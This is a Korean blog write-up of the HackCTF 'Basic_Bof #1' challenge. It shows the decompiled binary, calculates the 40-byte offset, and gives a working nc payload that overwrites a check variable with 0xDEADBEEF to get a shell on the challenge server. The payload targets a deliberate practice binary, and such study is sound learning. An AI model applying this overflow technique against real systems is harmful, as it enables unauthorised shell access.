Pwnable/HackCTF

[HackCTF] Baisc_Bof #1 문제 풀이

RootJJang 2021. 9. 18. 03:02
SMALL

일단 문제를 풀기 위해 https://ctf.j0n9hyun.xyz/challenge 사이트에 들어가준다.

 

들어가서 첫 번째 문제를 확인해보면

 

이렇게 첫 번째 문제를 푸는 데 필요한 'bof_basic'이라는 파일의 다운로드 링크가 있으니 각각 window와 linux에서 파일을 다운로드 받아 준다.

 

다운로드 받은 파일을 분석하기 위해 IDA로 파일을 열어 내용이 뭐가 있는지 확인한다.

 

이런 소스코드가 있고 한 번 해석을 해보자.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]
 
  v5 = 0x4030201;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n", &s);
  printf("[check] %p\n", v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

변수 s는 [ebp-34h]에 위치해 있고 변수 v5는 [ebp-Ch]에 위치해 있다.

 

s와 v5의 거리는 34(16진수) - C(16진수) = 28(16진수) = 40(10진수)가 된다.

 

fgets() 함수를 통해 s로 입력을 45바이트 입력 받는다.

 

나머지 5바이트는 0xDEADBEEF로 채워주면 될 것 같다.

 

따라서 페이로드는 "A"*40 + "\xef\xbe\xad\xde" 형태로 작성해주면 된다.

 

Payload : (python -c 'print "A"*40 + "\xef\xbe\xad\xde"'; cat) | nc ctf.j0n9hyun.xyz 3000

 

tmi : 마지막 페이로드는 혼자 구상해 본 건데 성공적으로 플래그가 나와 기분이 좋았다.

LIST

'Pwnable > HackCTF' 카테고리의 다른 글

[HackCTF] Simple_Overflow_ver_2  (2) 2022.01.07
[HackCTF] x64 Buffer Overflow 문제 풀이  (2) 2022.01.04
[HackCTF] Baisc_FSB 문제 풀이  (2) 2021.09.21
[HackCTF] Basic_Bof #2 문제 풀이  (0) 2021.09.19